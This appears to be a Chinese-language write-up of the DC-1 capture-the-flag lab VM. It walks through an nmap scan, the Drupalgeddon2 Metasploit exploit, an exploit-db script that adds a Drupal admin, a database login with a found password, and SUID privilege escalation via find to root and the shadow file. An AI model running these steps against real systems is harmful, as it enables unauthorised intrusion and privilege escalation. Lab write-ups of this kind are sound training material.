描述
DC-1是基于Debian 32位内置的VirtualBox VM。
DC-1是一个专门建造的易受攻击的实验室,目的是获得渗透测试领域的经验。
它的设计初学者是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。
总共有5个标志,最终目标是在根的主目录中找到并读取第5个标志。
DC-1靶机下载地址
你可以把它运行在VirtualBox VM和VMware中。
环境
VMware:DC-1 IP:192.168.236.136 攻击机:kali linux IP:192.168.236.133
001
人狠话不多,上来就是nmap。
nmap -A 192.168.236.136
看看扫描结果
开放了22的ssh 80的http apache 111的rpcbind等。
重点看看到80端口上运行着Drupal 7和一些敏感的目录文件等等。
80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site
来访问一下80吧。
简简单单的,看了下登录没有注入。先不爆破吧。其他页面也没什么突破。
敏感的目录文件也没什么可以利用的。
在msf中看看有没有Drupal 7的exp吧。
真好看
我们来直接msf5 > search Drupal
我们就拿exploit/unix/webapp/drupal_drupalgeddon2
吧
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options Module options (exploit/unix/webapp/drupal_drupalgeddon2): Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Automatic (PHP In-Memory) msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.236.136 rhosts => 192.168.236.136 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
来看看权限吧 getuid
权限不高,看来提权是有的。输入shell,成功拿到一个shell。
使用ls
看看目录吧,拿到flag1.txt
看看flag,应该有提示。
它说
Every good CMS needs a config file - and so do you. 每一个好的CMS都需要一个配置文件-你也是。
好的,我们去看看它的配置文件。文件在sites/default/setting.php
中
使用cat setting.php
命令打开,看到有数据库信息和flag2。
flag2中提示说:
看来是提示我们使用那个数据库信息去进入数据库中拿后台的账号密码什么的了。
使用mysql -udbuser -p
输入密码R0ck3t
登录mysql发现终端不能正常回显信息,应该是cmd.exe被限制了。
用我们CTRL + C
回到Meterpreter
中吧,展示进入再次shell
中,使用python -v
看到的英文有Python
的。
发现系统自带Python 2.7.3,通过pty.spawn()获得交互shell吧
使用mysql -udbuser -p
输入密码R0ck3t
登录mysql
mysql>use drupaldb; #使用drupaldb数据库 mysql>show tables; #查看数据库内的表
可以看到一个user
的表
select语句查询,找到可用于登录的用户admin和密码密文。select * from users;
破解不了,难受。我们去exploitdb中看看有没有攻击admin的脚本吧。searchsploit drupal
运气不错,在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个管理员权限的用户。
python exploits/php/webapps/34992.py -t 192.168.236.136 -u admin1 -p admin1
利用一下
使用admin1 admin1
登录后台在Content中拿到flag3
根据flag3的信息我们知道
应该要查看shadow文件,并使用SUID命令提权。
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
我们回到shell中使用find / -user root -perm -4000 -print 2>/dev/null
,命令查找具有root权限的SUID的文件。
$ find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null /bin/mount /bin/ping /bin/su /bin/ping6 /bin/umount /usr/bin/chsh /usr/bin/passwd /usr/bin/newgrp /usr/bin/chfn /usr/bin/gpasswd /usr/bin/procmail /usr/bin/find /usr/sbin/exim4 /usr/lib/pt_chown /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /sbin/mount.nfs
我们随便找一个命令进行利用,我们就找寻找,先查看其信息,发现其确实是root用户权限的SUID的文件
find . -exec /bin/sh ; -quit
拿到了root权限,查看shadow文件
发现flag4,和flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破,还是那句话先不爆破吧。
想了一下,我都是root了,我他妈直接查找不可以吗??我真聪明!!
find -name “flag4.txt”
命令拿到flag4。
这个作者有的皮。。
使用find配合正则进行一个模糊搜索吧。
find * -name "*.txt"
搜索所有.txt的文件。不要问我为什么!!!反正搜索flag5不行。
成功拿到flag5,看到thfinalflag.txt知道为什么反正搜索flag5不行了吧。
其实作者说了在根文件中了的
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
DC-2见
弟弟的公众号
来源:freebuf.com 2020-04-10 10:20:13 by: dnsill
请登录后发表评论
注册